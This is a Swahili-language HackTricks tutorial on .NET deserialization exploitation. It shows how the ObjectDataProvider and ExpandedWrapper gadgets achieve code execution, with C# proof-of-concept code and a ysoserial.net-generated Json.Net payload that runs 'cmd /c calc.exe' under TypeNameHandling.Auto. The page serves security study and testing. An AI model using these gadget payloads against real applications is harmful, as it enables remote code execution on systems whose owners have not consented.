Msingi wa .Net deserialization (Gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Post hii inajitolea kwa kuelewa jinsi gadget ya ObjectDataProvider inavyotumiwa kupata RCE na jinsi maktaba za Serialization Json.Net na xmlSerializer zinaweza kutumika vibaya na gadget hiyo.

Gadget ya ObjectDataProvider

Kutoka kwenye nyaraka: darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano.
Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu kufunga kitu chochote, kutumia MethodParameters kuweka vigezo vyovyote, na kisha kutumia MethodName kuita kazi yoyote ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.
Hivyo, kitu chochote kitafanya kazi na vigezo wakati kinapokuwa kinadeserialized.

Jinsi hii inavyowezekana

Namespace ya System.Windows.Data, iliyopatikana ndani ya PresentationFramework.dll katika C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ndiko ambapo ObjectDataProvider imefafanuliwa na kutekelezwa.

Kwa kutumia dnSpy unaweza kuangalia msimbo wa darasa tunalolipenda. Katika picha hapa chini tunaona msimbo wa PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la njia

Kama unavyoona wakati MethodName imewekwa base.Refresh() inaitwa, hebu tuangalie inafanya nini:

Sawa, hebu tuendelee kuona this.BeginQuery() inafanya nini. BeginQuery imeandikwa upya na ObjectDataProvider na hii ndiyo inafanya:

Kumbuka kwamba mwishoni mwa msimbo inaita this.QueryWorke(null). Hebu tuone inatekeleza nini:

Kumbuka kwamba hii si msimbo kamili wa kazi ya QueryWorker lakini inaonyesha sehemu ya kuvutia ya hiyo: Msimbo unaita this.InvokeMethodOnInstance(out ex); hii ndiyo mistari ambapo seti ya njia inaitwa.

Ikiwa unataka kuangalia kwamba kwa kuweka tu MethodName** itatekelezwa**, unaweza kukimbia msimbo huu:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Kumbuka kwamba unahitaji kuongeza kama rejeleo C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll ili kupakia System.Windows.Data

ExpandedWrapper

Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo kitu kitakuwa deserialized kama ObjectDataProvider mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kilikuwa deserialized kwa kutumia GetType). Hivyo, hatutakuwa na ufahamu wa aina ya kitu kilichofichwa katika ObjectDataProvider mfano (Process kwa mfano). Unaweza kupata maelezo zaidi kuhusu DotNetNuke vuln hapa.

Darasa hili linaruhusu specify aina za vitu vya vitu vilivyofichwa katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (ObjectDataProvider) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (ObjectDataProvider.MethodName na ObjectDataProvider.MethodParameters).
Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa kuficha _ObjectDataProvider** ndani ya **ExpandedWrapper _ mfano na wakati wa deserialization darasa hili litaunda OjectDataProvider kitu ambacho kitafanya kazi iliyoonyeshwa katika MethodName.

Unaweza kuangalia wrapper hii kwa kutumia msimbo ufuatao:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Katika ukurasa rasmi inaonyeshwa kwamba maktaba hii inaruhusu Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia serializer wa JSON wenye nguvu wa Json.NET. Hivyo, ikiwa tunaweza kufungua tena gadget ya ObjectDataProvider, tunaweza kusababisha RCE kwa kufungua tena kitu.

Mfano wa Json.Net

Kwanza kabisa hebu tuone mfano wa jinsi ya kufanya uhifadhi/ufunguo wa tena kitu kwa kutumia maktaba hii:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Kutumia Json.Net

Kwa kutumia ysoserial.net nilitengeneza exploit:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Katika hii nambari unaweza kujaribu exploit, endesha tu na utaona kwamba calc inatekelezwa:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks